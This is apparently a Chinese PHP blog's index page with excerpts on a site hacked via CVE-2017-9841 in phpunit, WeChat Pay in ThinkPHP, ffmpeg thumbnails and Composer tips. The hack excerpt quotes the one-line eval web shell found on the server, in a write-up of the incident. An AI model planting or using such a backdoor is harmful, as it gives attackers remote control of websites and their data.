阿信博客

展开菜单

phpunit中的CVE-2017-9841 RCE漏洞 导致网站被黑

phpunit中的CVE-2017-9841 RCE漏洞 导致网站被黑
客户网站(使用tpshop开发)被黑,首页跳转到其他网站。经过查询网站日志发现可能是通过/vendor/phpunit/phpunit/src/Util/PHP/asd.php这个文件篡改网站首页文件的。这个文件的代码为:<?php echo "tpshop";eval($_POST[0]);?>通过这个文件,可以发送post请求,修改首页文件。asp.php这个文件怎么上传到服务器的呢?继续分析日志发现应该是经过/vend...

ThinkPHP中实现微信支付(jsapi支付)流程

ThinkPHP中实现微信支付(jsapi支付)流程
之前写过一篇文章讲了PHP实现微信支付(jsapi支付)流程,详见文章:PHP实现微信支付(jsapi支付)流程。当时的环境是没有使用框架的,直接在一个域名指向的目录下边新建目录之后访问该目录实现的,但应用到框架中,还是有一些问题,在ThinkPHP中,由于路由规则与支付授权目录有出入,所以会报错。本篇讲讲在TP中集成微信支付的流程。鹅厂出的SDK和文档,就是让你看不懂,使劲绕,这酸爽用了就知道。文档和SDK不是应该越简单通俗易懂越好么?难道只有使劲重构才能显示出鹅厂程序...

用ffmpeg对上传的视频进行处理及提取缩略图

用ffmpeg对上传的视频进行处理及提取缩略图
win下php5.4安装ffmpeg-php扩展1.ffmpeg的官网没有提供ffmpeg-phpdll的扩展下载。1http://ffmpeg-php.sourceforge.net/虽然在http://sourceforge.net/上提供了ffmpeg-phpwindowsbuilds但版本过低,编译出来,php5.4无法使用。 网上有人把重新编译好的放出下载,不过我试了一下,我的php5.4无法使用,不过php5.3的可以试下。1http://serg...

PHP 开发者该知道的 5 个 Composer 小技巧

PHP 开发者该知道的 5 个 Composer 小技巧
Composer是新一代的PHP依赖管理工具。其介绍和基本用法可以看这篇《ComposerPHP依赖管理的新时代》。本文介绍使用Composer的五个小技巧,希望能给你的PHP开发带来方便。1.仅更新单个库只想更新某个特定的库,不想更新它的所有依赖,很简单:composer update foo/bar此外,这个技巧还可以用来解决“警告信息问题”。你一定见过这样的警告信息:Warning: The lock file&nb...

thinkphp中使用jquery mobile跳转错误

thinkphp中使用jquery mobile跳转错误
jqueryMobile默认使用ajax提交表单。所以无法正常显示thinkphp的success或者error跳转。需要禁用jquerymobile的ajax提交即可解决办法:禁止ajxa跳转有两种情况:1、禁止局部ajax跳转2、禁止全局ajax跳转 对于#1只需要在a标签中添加下面的属性:data-ajax=“false”有时我们要用正常的http请求而不用Ajax请求,比如链接到别的网站等情况。通过给a标签加下面的属性,可以将链接指定为正常的http请...

thinkphp微信企业付款接口

thinkphp微信企业付款接口
ComPay.class.zip第一步:将解压后的文件,放到ThinkPHP/Library/Com/目录第二步:在需要付款的流程中引入接口:文件顶部:useCom\ComPay;$cp= new ComPay();$cp->setMchAppid($appid);$cp->setOpenid($openid);$cp->setAmount($amount);$cp->setDesc($desc);$cp-&...